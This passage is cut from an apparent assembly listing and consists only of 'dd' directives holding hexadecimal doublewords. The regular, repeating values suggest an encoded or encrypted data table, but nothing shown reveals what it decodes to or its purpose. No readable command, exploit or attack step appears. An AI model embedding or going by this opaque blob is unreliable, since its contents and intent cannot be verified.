0A6DBA6A7h, 0A6F3A6FFh, 0A638A603h dd 0A65CA62Bh, 0A668A673h, 0A793A79Bh, 0A7ADA7B8h, 0A7F2A7F4h dd 0A711A7E4h, 0A73FA702h, 0A72FA735h, 0A75FA721h, 0A74EA750h dd 0A775A77Fh, 0A763A765h, 0A097A099h, 0A083A089h, 0A0A2A0A4h dd 0A0C8A0D4h, 0A0F8A0C6h, 0A017A0EDh, 0A03CA00Eh, 0A02FA035h dd 0A059A027h, 0A045A052h, 0A076A043h, 0A06AA06Ch, 0A19AA19Ch dd 0A180A191h, 0A1CEA1BAh, 0A11AA1C2h, 0A105A113h, 0A15FA136h dd 0A147A148h, 0A16DA174h, 0A290A29Ah, 0A2BEA280h, 0A2DDA2A6h dd 0A2FBA2CFh, 0A2E3A2F2h, 0A20BA214h, 0A229A23Dh, 0A24DA257h dd 0A268A27Fh, 0A390A266h, 0A3AEA382h, 0A3D6A3A4h, 0A3ECA3C2h dd 0A317A3EBh, 0A32DA303h, 0A350A324h, 0A343A34Ah, 0A368A372h dd 9C9CDC9Ch, 9C9C9ED0h, 0AC93AC94h, 0ACA2ACAAh, 0ACF9ACC3h dd 0ACE1ACF2h, 0AC37AC1Bh, 0AC59AC27h, 0AC46AC53h, 0AC61AC7Eh dd 0AD91AD9Bh, 0ADACADB6h, 0ADD3ADD4h, 0ADFBADC9h, 0ADE0ADF2h dd 0AD00AD1Fh, 0AD2AAD30h, 0AD50AD21h, 0AD67AD4Eh, 0AE90AE9Ch dd 0AEB9AE84h, 0AEABAEADh, 0AEF4AED0h, 0AE3BAE0Dh, 0AE2EAE31h dd 0AE4FAE26h, 0AE7AAE44h, 0AF81AE6Eh, 0AFB7AFBFh, 0AFD1AFADh dd 0AFE4AFF9h, 0AF38AF13h, 0AF53AF5Fh, 0AF7FAF49h, 0A899AF6Fh dd 0A880A897h, 0A8A1A8AAh, 0A8C2A8DFh, 0A8ECA8F8h, 0A81EA8EAh dd 0A834A810h, 0A824A832h, 0A84FA85Fh, 0A877A878h, 0A98BA861h dd 0A9A9A982h, 0A9C5A9A7h, 0A9F5A9C3h, 0A9E1A9EAh, 0A905A90Eh dd 0A937A938h, 0A958A924h, 0A94AA957h, 0A97BA940h, 0A960A96Eh dd 0AA84AA8Fh, 0AAAAAAB4h, 0AACAAADAh, 0AAF5AAC0h, 0AA19AAECh dd 0AA06AA08h, 0AA26AA3Eh, 0AA46AA5Eh, 0AA79AA43h, 0AB92AA68h dd 0ABDBABBAh, 0ABC2ABD0h, 0AB1AABF0h, 0AB00AB10h, 0AB31AB38h dd 0AB4FAB28h, 0AB74AB47h, 0A49EAB67h, 0A48FA491h, 0A4BAA4BCh dd 0A4A1A4A8h, 0A4D0A4DAh, 0A4C3A4C9h, 0A4E7A4EAh, 0A400A417h dd 0A42CA434h, 0A44CA456h, 0A478A440h, 0A464A472h, 0A582A463h dd 0A5DCA5B4h, 0A5C9A5D9h, 0A5EDA5F6h, 0A512A51Bh, 0A52DA536h dd 0A556A55Ch, 0A547A54Fh, 0A698A57Eh, 0A6BDA680h, 0A6D4A6A9h dd 0A6FBA6C7h, 0A614A61Eh, 0A634A611h, 0A622A62Bh, 0A67FA641h dd 0A79BA66Bh, 0A7B4A78Bh, 0A7A3A7B2h, 0A7C2A7CBh, 0A7E8A7F9h dd 0A71BA7E2h, 0A75DA735h, 0A750A75Ah, 0A76DA777h, 0A09AA76Ah dd 0A0BBA08Bh, 0A0D6A0B2h, 0A0FCA0CCh, 0A0EEA0F7h, 0A001A00Fh dd 0A025A028h, 0A041A055h, 0A06FA071h, 0A188A191h, 0A1B1A183h dd 0A1DCA1AFh, 0A1F5A1D0h, 0A1E0A1ECh, 0A12EA108h, 0A148A124h dd 0A17BA146h, 0A29EA170h, 0A2B8A294h, 0A2ABA2B6h, 0A2CEA2A0h dd 0A2E8A2C4h, 0A21BA2E6h, 0A23EA210h, 0A258A234h, 0A24BA256h dd 0A26EA240h, 0A390A264h, 0A383A38Eh, 0A3B6A3B9h, 0A3D3A3A3h dd 0A3F4A3C6h, 0A3EBA3F2h, 0A310A3E1h, 0A338A30Eh, 0A321A32Ah dd 0A37DA346h, 9C9CA374h, 9C9CCC9Ch, 9C9C9E90h, 0AC91AC94h dd 0ACDCACB5h, 0ACC2ACC4h dd 0AC11ACE4h, 0AC5CAC06h, 0AC41AC5Bh, 0AD9DAC6Dh, 0ADD9ADA3h dd 0ADF8ADC9h, 0AD14ADE6h, 0AD09AD11h, 0AD3AAD01h, 0AD5DAD32h dd 0AD4BAD5Bh, 0AD67AD75h, 0AE1DAEE4h, 0AE0DAE16h, 0AE46AE04h dd 0AE79AE43h, 0AF87AF8Ah, 0AFDCAFBBh, 0AF14AFDBh, 0AF01AF13h dd 0AF2EAF3Fh, 0AF57AF25h, 0AF40AF4Dh, 0AF6FAF76h, 0A882A88Bh dd 0A8A4A8B7h, 0A8D8A8A1h, 0A8C8A8D1h, 0A8FAA8FDh, 0A8E4A8F7h dd 0A81FA8E2h, 0A99DA86Ch, 0A988A994h, 0A9B2A9BEh, 0A9A2A9ABh dd 0A9D3A9DBh, 0A9EDA9C9h, 0A915A9E4h, 0A934A904h, 0A94CA95Eh dd 0A97CA94Ah, 0A96BA97Bh, 0AA8BAA9Eh, 0AAAEAAB4h, 0AAD9AAA5h dd 0AACAAAD3h, 0AAF4AAC0h, 0AAE9AAF3h, 0AA1BAA1Eh, 0AA0BAA11h dd 0AA2EAA3Bh, 0AA59AA23h, 0AA7EAA4Ch, 0AB95AA68h, 0ABADAB8Ah dd 0ABD0ABDDh, 0ABFBABC0h, 0ABE6ABF3h, 0AB12AB1Dh, 0AB2EAB06h dd 0AB5DAB20h, 0AB75AB42h, 0A497AB64h, 0A485A48Dh, 0A4B7A4BCh dd 0A4A9A4ACh, 0A4DBA4DCh, 0A4E3A4E9h, 0A416A418h, 0A406A40Fh dd 0A431A43Bh, 0A443A427h, 0A5C5A479h, 0A5F5A5FCh, 0A5E5A5ECh dd 0A505A51Ch, 0A55DA53Ch, 0A54FA552h, 0A57DA544h, 0A569A574h dd 0A563A566h, 0A690A699h, 0A683A685h, 0A6D0A6B8h, 0A6C1A6CDh dd 0A6F0A6FAh, 0A6E1A6EAh, 0A603A60Fh, 0A628A63Ah, 0A67BA645h dd 0A66BA670h, 0A797A662h, 0A7A1A78Dh, 0A7C7A7DEh, 0A7E6A7F5h dd 0A70BA715h, 0A735A700h, 0A754A724h, 0A08FA762h, 0A0ABA0BBh dd 0A01CA0F1h, 0A037A039h, 0A021A028h, 0A045A05Ah, 0A067A06Ch dd 0A188A19Eh, 0A1A9A186h, 0A1F1A1D4h, 0A13CA105h, 0A15CA12Dh dd 0A164A153h, 0A289A162h, 0A2AFA2B0h, 0A2FFA2C1h, 0A275A216h dd 0A3C6A273h, 0A3F4A3FCh, 0A3E9A3F1h, 0A315A3E3h, 0A301A313h dd 0A337A338h, 0A327A32Ah, 0A356A35Dh, 0A340A34Bh, 0A375A37Eh dd 0A367A36Dh, 9C9CFC9Ch, 9C9C9EB8h, 0AC9AAC9Ch, 0AC86AC8Fh dd 0ACB7ACBDh, 0ACF2ACD8h, 0ACE5ACEFh, 0AC05AC14h, 0AC20AC38h dd 0AC42AC4Fh, 0ADB4AC64h, 0ADDCADB1h, 0ADF9ADD9h, 0AD14ADE1h dd 0AD24AD0Ah, 0AD45AD5Ah, 0AD6BAD7Ch, 0AE89AE9Eh, 0AEAAAE86h dd 0AECDAEA0h, 0AEE0AEF3h, 0AE1AAE1Dh, 0AE0AAE13h, 0AE34AE3Fh dd 0AE26AE31h, 0AE59AE5Ch, 0AE7AAE45h, 0AE60AE71h, 0AF8FAF90h dd 0AFB6AFBEh, 0AFD2AFD9h, 0AFE2AFC5h, 0AF4BAF51h, 0A8D9A8B0h dd 0A824A8D3h, 0A849A822h, 0A878A842h, 0A867A86Dh, 0A983A988h dd 0A9ADA9B4h, 0A9CDA9D6h, 0A917A9EDh, 0A92DA90Dh, 0A972A97Bh dd 0AAABAAB7h, 0AACCAAA1h, 0AAE4AAF8h, 0AA00AA10h, 0AA40AA20h dd 0AA65AA7Fh, 0ABB7AB9Dh, 0ABCDABA8h, 0ABF7ABF9h, 0ABE1ABE4h dd 0AB10AB1Ah, 0AB30AB0Ah, 0AB26AB2Fh, 0AB45AB50h, 0AB7FAB42h dd 0AB64AB6Fh, 0A494AB63h, 0A480A489h, 0A4AFA4BBh, 0A4A3A4A5h dd 0A4D7A4D9h, 0A4FEA4C5h, 0A4E5A4F1h, 0A40CA418h, 0A436A43Dh dd 0A420A42Fh, 0A450A45Fh, 0A441A44Bh, 0A476A47Fh, 0A467A468h dd 0A591A59Fh, 0A582A58Bh, 0A5B7A5B8h, 0A5DFA5ADh, 0A5FCA5D5h dd 0A5EEA5F6h, 0A5E1A5EBh, 0A50DA517h, 0A53DA504h, 0A551A52Dh dd 0A547A54Ah, 0A6B8A56Ah, 0A6D6A6ACh, 0A6C2A6C4h, 0A608A61Ah dd 0A65CA635h, 0A648A65Ah, 0A661A67Ah, 0A7FFA792h, 0A7E9A7F7h dd 0A73CA719h, 0A754A72Bh, 0A774A751h, 0A08AA772h, 0A0B4A0BDh dd 0A0A1A0ABh, 0A0D6A0D8h, 0A0F5A0CAh, 0A07FA041h, 0A06BA073h dd 0A18CA199h, 0A1B9A18Ah, 0A1A1A1A8h, 0A1C8A1DFh, 0A1ECA1C6h dd 0A11FA1E5h, 0A10CA116h, 0A135A101h, 0A123A12Dh, 0A153A154h dd 0A177A144h, 0A162A164h, 0A292A29Bh, 0A2BDA280h, 0A2AAA2B6h dd 0A2D4A2DDh, 0A2C1A2CDh, 0A2F6A2FEh, 0A2E5A2ECh, 0A215A21Fh dd 0A206A20Eh, 0A23BA23Ch, 0A25FA225h, 0A24CA256h, 0A26CA247h dd 0A39EA267h, 0A381A392h, 0A3B3A3BAh, 0A3FCA3D6h, 0A318A3EBh dd 0A334A316h, 0A376A32Fh, 9C9CA36Bh, 9C9CEC9Ch, 9C9C9D14h dd 0AC8AAC98h, 0ACA1ACBEh, 0ACF5ACC9h, 0AC12ACE4h, 0AC2DAC02h dd 0AD92AC52h, 0ADBDAD89h, 0ADAAADBBh, 0AD12ADCFh, 0AD3CAD07h dd 0AD30AD39h, 0AD22AD2Bh, 0AD4CAD57h, 0AD7DAD49h, 0AD70AD7Bh dd 0AD61AD6Dh, 0AE94AE9Fh, 0AE85AE91h, 0AEB8AE83h, 0AEA9AEB5h dd 0AEDCAEA7h, 0AECDAED9h, 0AEC0AECBh, 0AEECAEFDh, 0AEE7AEEAh dd 0AE3CAE0Eh, 0AE5EAE35h, 0AE44AE54h, 0AE74AE7Fh, 0AFBEAE73h dd 0AFA4AFB1h, 0AFD4AFA2h, 0AFF8AFD3h, 0AFE3AFEEh, 0AF39AF0Ch dd 0AF5CAF2Dh, 0AF48AF51h, 0A804AF47h, 0A82EA802h, 0A856A85Ch dd 0A840A84Dh, 0A871A87Eh, 0A860A86Ah, 0A986A992h, 0A9AEA9BFh dd 0A9C1A9CBh, 0A91DA9F1h, 0A93FA916h, 0AA97A972h, 0AAAEAA84h dd 0AACAAAA4h, 0AAF3AAC1h, 0AA13AAE9h, 0AA32AA09h, 0AA73AA2Ah dd 0ABA6ABAFh, 0ABD1ABDBh, 0ABF4ABC1h, 0A4C8ABF2h, 0A4EFA4F1h dd 0A404A40Dh, 0A45DA427h, 0A47FA449h, 0A555A53Dh, 0A692A553h dd 0A6FCA68Ah, 0A6E8A6F2h, 0A608A61Fh, 0A635A63Fh, 0A65CA626h dd 0A64AA653h, 0A7B5A791h, 0A7F4A7FEh, 0A71FA7E1h, 0A0BCA779h dd 0A0DEA0A0h, 0A02CA03Fh, 0A05CA029h, 0A040A04Dh, 0A071A078h dd 0A065A06Fh, 0A1B1A195h, 0A1DEA1A0h, 0A1F3A1D5h, 0A13AA1E7h dd 0A166A12Bh, 0A29BA29Ch, 0A2C9A2A6h, 0A210A219h, 0A220A239h dd 0A272A243h, 0A387A38Ah, 0A3ADA3B4h, 0A3CEA3DAh, 0A301A3C2h dd 0A332A33Fh, 9C9C1C9Ch, 9C9C9E94h, 0ACACACB5h, 0ACCCACDCh dd 0ACEEACCAh, 0AC17ACE1h, 0AC25AC2Eh, 0AC48AC55h, 0AC60AC74h dd 0AD8FAD90h, 0ADA9ADB4h, 0ADC5ADDDh, 0AD02AD04h, 0AD24AD34h dd 0AEB4AD5Ah, 0AEEEAEC9h, 0AE48AE3Dh, 0AFFEAFD9h, 0AF11AFF0h dd 0AF37AF0Fh, 0AF55AF2Fh, 0AF75AF7Eh, 0A888A89Ah, 0A81EA886h dd 0A824A82Eh, 0A9C8A9DBh, 0A9E7A9C7h, 0A926A928h, 0AAF4AAC0h dd 0AAE2AAEBh, 0AA3FAA0Eh, 0AA27AA29h, 0AA41AA50h, 0AA68AA72h dd 0AB95AB9Fh, 0ABC4ABDFh, 0ABF3ABC2h, 0AB12ABE4h, 0AB2AAB3Fh dd 0AB52AB20h, 0AB79AB48h, 0A499AB68h, 0A481A48Ah, 0A4CAA4ADh dd 0A408A412h, 0A42BA43Ah, 0A442A45Dh, 0A59FA46Fh, 0A5A7A5BEh dd 0A5CFA5DDh, 0A5E6A5EFh, 0A511A51Ah, 0A530A50Ah, 0A54FA525h dd 0A574A540h, 0A69BA566h, 0A6BFA68Bh, 0A6DFA6A7h, 0A6FFA6C1h dd 0A609A612h, 0A639A602h, 0A629A632h, 0A79FA64Ch, 0A78FA790h dd 0A7B6A7BCh, 0A7A9A7ACh, 0A7DCA7A7h, 0A7CCA7D9h, 0A7FBA7C5h dd 0A7EEA7F1h, 0A71BA71Eh, 0A70BA710h, 0A736A738h, 0A726A733h dd 0A749A75Ch, 0A77DA747h, 0A770A77Ah, 0A76BA76Dh, 0A09EA760h dd 0A091A09Bh, 0A084A08Eh, 0A0BEA081h, 0A0A2A0B1h, 0A0D5A0D8h dd 0A0C7A0CFh, 0A0F3A0F9h, 0A018A0E5h, 0A00CA015h, 0A001A004h dd 0A022A038h, 0A071A049h, 0A19AA19Ch, 0A18FA191h, 0A1B5A1BEh dd 0A1D3A1D8h, 0A1FEA1CBh, 0A105A11Ch, 0A12DA102h, 0A144A123h dd 0A176A179h, 0A169A173h, 0A299A162h, 0A28BA28Eh, 0A2B4A280h dd 0A2AFA2B2h, 0A2D8A2A4h, 0A2D3A2D6h, 0A2FCA2C8h, 0A2F7A2FAh dd 0A2E0A2ECh, 0A21BA21Eh, 0A207A210h, 0A23AA23Dh, 0A227A232h dd 0A259A25Ch, 0A24BA250h, 0A277A242h, 0A269A26Ch, 0A396A399h dd 0A383A386h, 0A3A8A3B3h, 0A3D5A3D8h, 0A3C2A3C5h, 0A3EFA3F2h dd 0A314A31Fh, 0A301A304h, 0A32EA331h, 0A35BA35Eh, 0A340A34Bh dd 0A36DA370h, 9C9C0C9Ch, 9C9C9EACh, 0AC9AAC9Dh, 0AC87AC8Ah dd 0ACACACB7h, 0ACD9ACDCh, 0ACC6ACC9h, 0ACF3ACF6h, 0AC18ACE3h dd 0AC05AC08h, 0AC32AC35h, 0AC5FAC22h, 0AC44AC4Fh, 0AD94AC72h dd 0ADDEAD93h, 0ADF0ADC3h, 0AD1CADEFh, 0AE88AE94h, 0AEABAEB2h dd 0AEDBAEDDh, 0AEF9AECBh dd 0AEE5AEF7h, 0AE11AEE3h, 0AE31AE07h, 0AE58AE28h, 0AE45AE4Eh dd 0AE68AE7Bh, 0AFBCAE61h, 0AFB2AFBAh, 0AFDFAFA0h, 0AFC3AFD3h dd 0AFE8AFF8h, 0AF15AFE5h, 0AF3DAF12h, 0AF23AF25h, 0AF44AF57h dd 0A894AF62h, 0A8B0A882h, 0A8D3A8A5h, 0A8F9A8CBh, 0A817A8F7h dd 0A858A82Bh, 0A846A856h, 0A861A86Ch, 0A9A9A98Bh, 0A9DAA9A7h dd 0A9ECA9F4h, 0A91AA9EBh, 0A905A910h, 0A930A93Ah, 0A97EA957h dd 0AA99A96Ah, 0AA8AAA8Dh, 0AAABAAB9h, 0AAF4AAC0h, 0AA07AA08h dd 0AA77AA2Dh, 0ABACAA6Eh, 0ABD8ABA2h, 0ABF1ABC0h, 0ABE7ABEAh dd 0AB10AB19h, 0AB32AB0Ah, 0AB5DAB2Ah, 0AB45AB5Bh, 0AB65AB70h dd 0A495A49Eh, 0A4B7A492h, 0A4A1A4AEh, 0A4CAA4D8h, 0A4F4A4C2h dd 0A414A4E6h, 0A439A400h, 0A428A432h, 0A452A45Fh, 0A477A449h dd 0A463A46Bh, 0A5DBA580h, 0A5E8A5C2h, 0A52EA5E6h, 0A54DA557h dd 0A6BBA695h, 0A6C6A6B2h, 0A612A6F1h, 0A601A608h, 0A62CA63Fh dd 0A65FA62Bh, 0A640A64Bh, 0A79AA673h, 0A78AA791h, 0A7CEA7D9h dd 0A7E6A7EFh, 0A711A71Fh, 0A706A70Eh, 0A72CA738h, 0A759A72Bh dd 0A74BA74Dh, 0A769A77Dh, 0A096A09Dh, 0A0B9A085h, 0A0A9A0B7h dd 0A0D5A0A1h, 0A0C2A0D3h, 0A0F0A0F9h, 0A0E1A0EEh, 0A03CA013h dd 0A055A02Eh, 0A04AA053h, 0A060A06Ah, 0A180A188h, 0A1CCA1AEh dd 0A1FDA1C6h, 0A1EAA1F7h, 0A11AA11Ch, 0A124A108h, 0A157A122h dd 0A29CA144h, 0A292A29Bh, 0A280A28Ah, 0A2A8A2B4h, 0A2C4A2DEh dd 0A2F5A2C2h, 0A2E1A2E9h, 0A20AA210h, 0A22CA23Fh, 0A255A226h dd 0A279A253h, 0A26BA277h, 0A38EA397h, 0A3B9A382h, 0A3A6A3ADh dd 0A3D7A3DDh, 0A3C5A3CEh, 0A3F3A3F4h, 0A31EA3E6h, 0A33FA30Ah dd 0A358A321h, 0A345A356h, 0A369A370h, 9C9CA360h, 9C9C3C9Ch dd 9C9C9D30h, 0AC9BAC9Eh, 0ACA1ACB4h, 0ACCDACD6h, 0ACE9ACCBh dd 0AC3DAC16h, 0AC53AC34h, 0AD9DAC49h, 0AD90AD9Ah, 0ADB9AD83h dd 0ADD8ADA9h, 0ADE1ADEAh, 0AD0DAD17h, 0AD57AD28h, 0AD75AD7Eh dd 0AEA9AE8Ch, 0AECDAED9h, 0AEFEAEC0h, 0AEE7AEF3h, 0AE0FAE1Ah dd 0AE03AE05h, 0AE2AAE39h, 0AE44AE20h, 0AE6EAE7Eh, 0AF9AAE64h dd 0AFA9AF90h, 0AFD2AFA0h, 0AF38AFFDh, 0AF5AAF5Ch, 0A8BCAF72h dd 0A8CEA8BBh, 0A8E3A8F7h, 0A838A802h, 0A826A828h, 0A874A87Eh dd 0A9ABA9ACh, 0A9FEA9D5h, 0A9E2A9EAh, 0A935A90Ch, 0A94AA933h dd 0AA88A941h, 0AA83AA85h, 0AAD0AAA2h, 0AA09AAC3h, 0AA5BAA5Ch dd 0AA77AA44h, 0AB8BAB8Dh, 0ABF3ABDBh, 0AB08AB1Dh, 0AB25AB33h dd 0A49CAB43h, 0A487A49Ah, 0A4C0A4D0h, 0A40BA4EBh, 0A437A401h dd 0A459A428h, 0A445A452h, 0A468A443h, 0A5ADA59Eh, 0A5C5A5A4h dd 0A5E6A5FAh, 0A511A51Fh, 0A53BA50Ah, 0A557A529h, 0A688A696h dd 0A6F8A6D5h, 0A61EA6F7h, 0A63CA605h, 0A64BA65Bh, 0A66CA676h dd 0A7CCA666h, 0A7F4A7CAh, 0A70DA7E6h, 0A74FA736h, 0A771A746h dd 0A765A76Fh, 0A0B4A763h, 0A0FCA0B1h, 0A019A0FAh, 0A000A012h dd 0A052A055h, 0A067A07Bh, 0A188A193h, 0A1A7A1BBh, 0A10EA117h dd 0A133A13Fh, 0A14AA15Eh, 0A172A147h, 0A2A7A2B2h, 0A214A2DBh dd 0A23EA204h, 0A22EA230h, 0A255A227h, 0A26FA27Ch, 0A38BA266h dd 0A3B5A3B8h, 0A3A9A3B2h, 0A3DBA3DCh, 0A3C5A3C8h, 0A3F7A3C2h dd 0A3EAA3EDh, 0A308A317h, 0A333A334h, 0A349A352h, 0A371A378h dd 9C9CA365h, 9C9C2C9Ch, 9C9C9D50h, 0ACA6AC92h, 0ACEAACD8h dd 0AC0BACE3h, 0AC7EAC3Ch, 0AD95AC77h, 0ADABADACh, 0AD1AADD6h dd 0AD50AD0Ch, 0AD60AD73h, 0AEA5AEBEh, 0AEF2AED3h, 0AE18AEE2h dd 0AE48AE51h, 0AE70AE7Ah, 0AF8BAF9Dh, 0AFB1AFBBh, 0AFEBAFC4h dd 0AF15AFE2h, 0AF36AF02h, 0AF7DAF2Bh, 0A890AF6Ah, 0A8B0A8BDh dd 0A8D0A8AEh, 0A8F1A8FEh, 0A811A8EFh, 0A830A806h, 0A84CA824h dd 0A992A994h, 0A9ABA9B0h, 0A9D5A9DEh, 0A9F0A9FAh, 0A95EA938h dd 0A943A952h, 0AA9CA97Ah, 0AA84AA8Eh, 0AAADAABEh, 0AADAAAA3h dd 0AAC1AACEh, 0AAE7AAECh, 0AA00AA0Ah, 0AA20AA35h, 0AA49AA5Ah dd 0AA79AA47h, 0AA67AA6Ch, 0AB92AB94h, 0ABB1ABBAh, 0ABDAABA5h dd 0ABEEABFFh, 0AB1AABE3h, 0AB3DAB10h, 0AB29AB31h, 0AB5CAB26h dd 0AB6EAB44h, 0A49DAB66h, 0A48DA497h, 0A4ADA482h, 0A4D0A4DDh dd 0A4F0A4FAh, 0A4E1A4EBh, 0A40CA416h, 0A438A40Bh, 0A598A423h dd 0A5ADA5B6h, 0A533A50Eh, 0A552A558h, 0A57CA547h, 0A69FA569h dd 0A6B8A68Bh, 0A6ACA6B5h, 0A6A3A6AAh, 0A6CFA6DAh, 0A6C1A6C4h dd 0A6F1A6FAh, 0A61CA6E8h, 0A617A61Ah, 0A62DA630h, 0A669A62Bh dd 0A791A666h, 0A7CDA789h, 0A7E8A7CBh, 0A716A7E2h, 0A72AA734h dd 0A743A723h, 0A0DCA099h, 0A01DA0DAh, 0A013A014h, 0A034A03Dh dd 0A049A053h, 0A077A078h, 0A19AA19Ch, 0A1EEA1ABh, 0A117A1E4h dd 0A138A10Dh, 0A15CA137h, 0A147A15Ah, 0A168A17Dh, 0A2B4A161h dd 0A2C1A2B2h, 0A205A211h, 0A22FA23Bh, 0A245A25Ah, 0A26FA271h dd 0A399A264h, 0A38CA397h, 0A3BFA381h, 0A3A9A3B4h, 0A3DCA3A7h dd 0A3E8A3F2h, 0A310A3E7h, 0A300A30Eh, 0A32EA337h, 0A355A324h dd 0A34AA353h, 9C9C5C9Ch, 9C9C9ED8h, 0ACB7ACBFh, 0ACC6ACD8h dd 0ACE5ACFCh, 0AC09AC13h, 0AC2EAC3Ch, 0AC4AAC57h, 0AC77AC7Ch dd 0AD9FAC61h, 0AD8AAD8Ch, 0ADB5ADBFh, 0ADC5ADCFh, 0AD0CADF1h dd 0AD07AD0Ah, 0AD2BAD3Eh, 0AD55AD5Fh, 0AD42AD4Fh, 0AD60AD74h dd 0AE90AE9Eh, 0AEAFAE83h, 0AEC0AECAh, 0AEE8AEFDh, 0AE16AE1Ch dd 0AE03AE09h, 0AE25AE2Fh, 0AE4AAE5Fh, 0AF91AE76h, 0AF86AF8Fh dd 0AFD5AFBCh, 0AFFDAFD3h, 0AF2AAF2Ch, 0A8FCA8B5h, 0A8E9A8F0h dd 0A816A8E6h, 0A839A80Ah, 0A82CA837h, 0A849A853h, 0A873A875h dd 0A990A865h, 0A9A8A9BCh, 0A9DBA9A6h, 0A9FAA9FCh, 0A9E2A9E4h dd 0A90FA912h, 0A928A907h, 0A949A953h, 0AA9AA977h, 0AA83AA90h dd 0AADCAAA6h, 0AAF2AACFh, 0AAE0AAE8h, 0AA27AA33h, 0AA50AA5Bh dd 0AA7EAA4Eh, 0AA61AA68h, 0AB8AAB93h, 0ABB7ABB8h, 0ABD0ABADh dd 0ABEAABFFh, 0AB14AB1Eh, 0AB39AB05h, 0AB21AB37h, 0AB42AB58h dd 0A49DAB78h, 0A4A6A490h, 0A4D6A4DDh, 0A4FDA4CFh, 0A4EAA4F4h dd 0A41EA4E7h, 0A430A43Fh, 0A426A428h, 0A451A458h, 0A47DA44Ah dd 0A59EA474h, 0A589A595h, 0A5DDA581h, 0A5F6A5DBh, 0A518A5E4h dd 0A507A50Fh, 0A52DA539h, 0A548A55Dh, 0A56DA541h, 0A699A564h dd 0A6B9A68Ch, 0A6AAA6B7h, 0A6C4A6CDh, 0A614A6E0h, 0A628A636h dd 0A65FA621h, 0A67DA647h, 0A785A795h, 0A7B6A7BFh, 0A7DDA7AAh dd 0A7CEA7D7h, 0A7FAA7C3h, 0A702A7EAh, 0A733A738h, 0A75DA720h dd 0A750A75Ah, 0A740A749h, 0A772A775h, 0A09FA76Fh, 0A084A094h dd 0A0B1A081h, 0A0DEA0AEh, 0A0CBA0DBh, 0A0F0A0C0h, 0A01DA0EDh dd 0A00AA01Ah, 0A037A007h, 0A05CA02Ch, 0A049A059h, 0A076A046h dd 0A063A073h, 0A188A198h, 0A1B0A185h, 0A1E3A1A6h, 0A132A10Eh dd 0A153A129h, 0A29CA17Bh, 0A2B9A289h, 0A2A6A2B6h, 0A2D3A2A3h dd 0A2F8A2C8h, 0A2E5A2F5h, 0A212A2E2h, 0A23FA20Fh, 0A224A234h dd 0A251A221h, 0A27EA24Eh, 0A26BA27Bh, 0A390A260h, 0A3BDA38Dh dd 0A3AAA3BAh, 0A3D7A3A7h, 0A3FCA3CCh, 0A3E9A3F9h, 0A316A3E6h dd 0A303A313h, 0A328A338h, 0A355A325h, 0A342A352h, 0A36FA37Fh dd 9C9CA364h, 9C9C4C9Ch, 9C9C9EB4h, 0AC91AC94h, 0ACBEAC81h dd 0ACABACAEh, 0ACD0ACDBh, 0ACFDACC0h, 0ACEAACEDh, 0AC17AC1Ah dd 0AC3CAC07h, 0AC29AC2Ch, 0AC56AC59h, 0AC43AC46h, 0AC68AC73h dd 0AD95AD98h, 0AD82AD85h, 0ADAFADB2h, 0ADD4ADDFh, 0ADC1ADC4h dd 0ADEEADF1h, 0AD1BAD1Eh, 0AD00AD0Bh, 0AD2DAD30h, 0AD41AD5Bh dd 0AD6FAD7Ah, 0AE9EAD60h dd 0AE8BAE97h, 0AEB9AE82h, 0AED8AEA7h, 0AEFDAED7h, 0AEE6AEF4h dd 0AE0EAE1Dh, 0AE2DAE05h, 0AE57AE59h, 0AE7CAE46h, 0AF9AAE6Ah dd 0AFB9AF8Fh, 0AFA7AFB7h, 0AFC5AFCFh, 0AFEAAFF3h, 0AF12AFE3h dd 0A895AF7Bh, 0A8ABA893h, 0A8C9A8DEh, 0A8EBA8F0h, 0A83AA804h dd 0A822A824h, 0A844A84Eh, 0A867A841h, 0A980A98Ah, 0A9FAA9AFh dd 0A9E4A9EEh, 0A917A918h, 0A93DA906h, 0A920A92Ch, 0A952A95Fh dd 0A976A979h, 0AA9DA96Ch, 0AAAAAABAh, 0AAD7AAA0h, 0AAF9AAC6h dd 0AA14AAF0h, 0AA3CAA09h, 0AA2FAA31h, 0AA49AA5Ch, 0AA60AA42h dd 0AB88AB9Eh, 0ABBBAB80h, 0ABA7ABAFh, 0ABF4ABD7h, 0AB12ABEFh dd 0AB31AB0Bh, 0AB7DAB2Fh, 0AB6EAB70h, 0A49AAB63h, 0A4B9A48Fh dd 0A4D7A4ABh, 0A4FFA4C1h, 0A41AA4E7h, 0A407A410h, 0A42FA430h dd 0A457A458h, 0A471A442h, 0A59BA46Fh, 0A5B9A587h, 0A5A2A5A4h dd 0A5CBA5CDh, 0A5E4A5F8h, 0A506A50Fh, 0A561A546h, 0A693A694h dd 0A6AEA6B0h, 0A6F5A6C3h, 0A65DA626h, 0A647A653h, 0A66EA67Dh dd 0A79FA664h, 0A7D1A795h, 0A7EDA7CFh, 0A702A71Fh, 0A75AA724h dd 0A748A750h, 0A77DA747h, 0A770A77Ah, 0A09DA76Eh, 0A0ACA087h dd 0A0A2A0ABh, 0A0FFA0CBh, 0A0EBA0F3h, 0A01FA0E0h, 0A00EA011h dd 0A024A005h, 0A07DA051h, 0A06CA076h, 0A199A061h, 0A180A196h dd 0A1DEA1B2h, 0A1FDA1D0h, 0A1E2A1E8h, 0A105A112h, 0A124A13Ch dd 0A157A159h, 0A16AA176h, 0A29DA167h, 0A2A0A287h, 0A2C1A2D2h dd 0A2EEA2F1h, 0A201A219h, 0A224A23Eh, 0A247A253h, 0A26AA277h dd 0A38EA39Ch, 0A3B0A382h, 0A3C9A3D4h, 0A30EA3C7h, 0A32EA33Ah dd 0A345A358h, 0A36BA379h, 9C9C7C9Ch, 9C9C9D94h, 0AC8FAC9Fh dd 0ACA0ACB8h, 0ACE4ACD4h, 0AC08ACE3h, 0AC72AC2Dh, 0AD94AC65h dd 0ADC2ADB9h, 0ADF1ADF8h, 0ADE6ADE8h, 0AD21ADE3h, 0AD4DAD5Ah dd 0AD72AD7Dh, 0AE96AE9Eh, 0AEB5AEBFh, 0AEC7AED2h, 0AEF5AEFCh dd 0AE1EAEE4h, 0AE35AE15h, 0AE22AE29h, 0AE7AAE40h, 0AF89AE6Bh dd 0AFB8AF81h, 0AFCBAFD6h, 0AFEEAFF7h, 0AF4BAF1Eh, 0AF6BAF41h dd 0A88FA898h, 0A8CEA8B7h, 0A81DA8EFh, 0A844A84Eh, 0A982A842h dd 0A9AAA9BAh, 0A9D6A9D8h, 0A90FA9F5h, 0A92CA936h, 0A95FA926h dd 0A94CA954h, 0A979A94Bh, 0AA97A967h, 0AABCAA89h, 0AADEAAB2h dd 0AAFFAAC1h, 0AA39AA1Ah, 0ABB3AA58h, 0ABA3ABAAh, 0ABCEABD0h dd 